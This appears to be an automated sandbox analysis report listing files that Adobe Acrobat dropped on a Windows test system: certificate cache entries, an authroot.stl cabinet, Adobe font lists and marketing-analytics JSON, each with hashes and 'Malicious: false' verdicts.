Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7170500916396234
Encrypted:	false
SSDEEP:	3:kkFkl5Y+NRltfllXlE/HT8k3fljNNX8RolJuRdxLlGB9lQRYwpDdt:kKd+NDeT8+fNMa8RdWBwRd
MD5:	0C39EC5173B305F5CA5A6736AE1E9D2E
SHA1:	68C65908DB077A0AA990D47EC9C23D8FF5405FC3
SHA-256:	14D96348921EC77E57B0926210F18E8B3905C94312E3078DEEC1EDB29247A872
SHA-512:	69D196954525A070A0BFBAE2DAA6D4CD46AFB6E714608F4DE62461620EC7E9006DE4F1B02CA00DECD0A9BFED21E4918BD89C626B02DA5C088A75AF375149254F
Malicious:	false
Preview:	p...... .........o..c..(....................................................... ..........W.....O..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKlLsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:uiDImsLNkPlE99SNxAhUe/3
MD5:	318CDFEE5FC0B2101CB0F45EBE97C942
SHA1:	DECC5792E065BC80A25043616F770F35D0EFD93F
SHA-256:	41B4A88A54996BF46D3404AD7C237E1AD902318353BECDAB21EC962287F8D85B
SHA-512:	43644F860C9A3977D57BA978B2FBBED5B0A7164212F3201048A32FC0549B2AEE84B59FF3AF2058DFB8FD71294843DC83263B3FF5BA167FDF297D01FBA675BD1C
Malicious:	false
Preview:	p...... .........g...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1892

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1892

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330169209177785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJM3g98kUwPeUkwRe9:YvXKXFfG83YpW7/GMbLUkee9
MD5:	80D1F4EF048C6DEE7FC2264957B5AF8A
SHA1:	D100B7D996D894854A7680EF50EEBC219370F97F
SHA-256:	4F58D504A7FBB6F5802DB23795AB2B16645CCEAACAEC36CCB641325A8B4D4F26
SHA-512:	DA270ECCE5FA2DADFAB28EE6C54363F31FF0F01ED63B30E9C4DB895E9086B369E9436B1B30047BBC5B80BD22758C815F38A7EB347779BD84DDCF5018CDC8870F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2684960510424315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfBoTfXpnrPeUkwRe9:YvXKXFfG83YpW7/GWTfXcUkee9
MD5:	F86C844CAE558BAA1F66D57140C3B003
SHA1:	8457D16101644F2FC1394D7BC077BF938F9682C6
SHA-256:	CEEB1C77728ED1B95B76289F25936F20B8509B4444DBC0B1668EE6953E3B7DDC
SHA-512:	D3034010065DF58EBD7076DA08DF78BBC31782F20E46675ABC4D391F86134B8CDDB6A0758BF0BBDF80492748DD8561A731734013276BFC4F3F44A36297D1D44D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.248022234116465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfBD2G6UpnrPeUkwRe9:YvXKXFfG83YpW7/GR22cUkee9
MD5:	06598E11CD7410791F1231008FC294E4
SHA1:	E0665398EA798E042C8CDCDF68668598FC6576F7
SHA-256:	032CE6A9A964E8C8B7E1985F7E30ABD99A2D2F893D076C262F91733CD626A765
SHA-512:	6C87265CA69F0E7D88F8574A144D3B5EE06990782C24A6A19245A3E36B80B7CE998EB0AB16047AF37E20F4D5D1FFF503E06C105BA6D45476E485704F13A3B084
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3078973788619175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfPmwrPeUkwRe9:YvXKXFfG83YpW7/GH56Ukee9
MD5:	A9593B434171B3D03C2624B8A09E5628
SHA1:	A4D97C95D6864CD316A3979B4A399C911E48DB64
SHA-256:	8CFF9B408E9219784CC8E2662231D7B92AAAC62E9D86F9DC58E7DAC78061A92E
SHA-512:	B21048B9EC2226A19A1111EFC7043B4D9E10E8A21550937AA4E07D8D088B808E1064EEE07DA4A05E02BA70CB7CAE5B5234620D2FEA87BE060E5E840B6A774B01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684446877652476
Encrypted:	false
SSDEEP:	24:Yv6XBWikpLgE9cQx8LennAvzBvkn0RCmK8czOCCSc:Yvchkhgy6SAFv5Ah8cv/c
MD5:	E19EB3429A4AD4E172094D8B79DEC993
SHA1:	EABA0B2B06AF9A46EDF4C80DA87BEB6F45CE5270
SHA-256:	8186DD7D860C5C4BE4F13472765BD9DA9C95A45A389375A193F91F2D246DD5C3
SHA-512:	747251864B8A463914120D4196748808DE066E6C92740AB8F4FD5CFBCB2E37840EE56531F70EAC6522F77B81A4A0D9CD581A7BE9BF2C8EEFB90080773C304B1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.251682617999213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJf8dPeUkwRe9:YvXKXFfG83YpW7/GU8Ukee9
MD5:	17A267F4C0F8151D3B29E4C88A95BA1F
SHA1:	6ED7965D84346775CE8AB75CB410AB124C273A37
SHA-256:	7E6C0ED3FF0A0A287A15935F2299D74259A72291F4CB74422AC489A981765855
SHA-512:	8EC63B9A83A071BC372177B7AD2DAE871E35322C20182A447E54BCED6BD18DDBA8CB291060D13A368A45667E3927938DC334001585ACE085A7783113F9424154
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.252308645817838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfQ1rPeUkwRe9:YvXKXFfG83YpW7/GY16Ukee9
MD5:	6B36B34525899D48BC9E754A925401DA
SHA1:	38048CAA5523011E56BDFF1493DF03BC890E27A3
SHA-256:	2CC854CAAE9C7526D94133D1DB379197F98D96C96E47BC7E481F0B3BF227B913
SHA-512:	B93EC862E2B954CA4EF865E5C47C03FDCF72C0EDD671C3EB58EE5FF1AB66A6EE399571BAD7FD14EB25B55BCB9FC55AC9A9F1A7F25E881D6DD55DE2E8A9AE4F20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271699639400774
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfFldPeUkwRe9:YvXKXFfG83YpW7/Gz8Ukee9
MD5:	DCF449FA9E764B310A83BE08328CE1A0
SHA1:	2249D42338113786265455D2F7CDC23E39AD7AE2
SHA-256:	7E66504519E55E1659352A14A21245048A45019DE51B8E80631833D7B51E425B
SHA-512:	C03C2A1D9BFE6C41BA92CD14FED1F647E4D4D71BF7739C166D3711C2D786EC7584F3CB528BB3883149EEBCF4D1FAC77ADAB149166A72A31E40538289CFA45DD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.279100406218202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfzdPeUkwRe9:YvXKXFfG83YpW7/Gb8Ukee9
MD5:	E21E59128CB6075740F48F3DA4D0F3E2
SHA1:	E6400D7BB04029FEBA66466828E7E0C25F6B4086
SHA-256:	0871E7AC3C36B488E810ED3381295BCCE136CB0C4124695586F70FE62FC1AF03
SHA-512:	E8F1F6F32A38C3A5E8B16D0805218A7887FAC96CE01DDDFE798AF25F235C6367F1B4C9E446422382655DBBAD7D45FA4377C1941D20AB2A8721CD3944EC9BA7BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"200ee589-2eed-4628-9c40-93655942adb5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736761200434,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258614416425619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfBkhFEC+FIbRI6XVW7+0Y+JKoAvJfYdPeUkwRe9:YvXKXFfG83YpW7/Gg8Ukee9
MD5:	3112723C3BE38DFE7BA86C91B06EAA47
SHA1:	532D767211AC722A025FA4F43AC42EF4AB8B178B
SHA-256:	A33A9002D5C900978146865E3A4F8CC920A7993F29B3CE7173FEC7562668545C
SHA-512:	512896CC4BDC8108378B5602A70C7995141A601BB65C5D258B02E2AAE859AB879AE8958CA8538D0253BAF209BD0B0111863B7704F2A8F1561DE1392BB2367F88
Malicious:	false
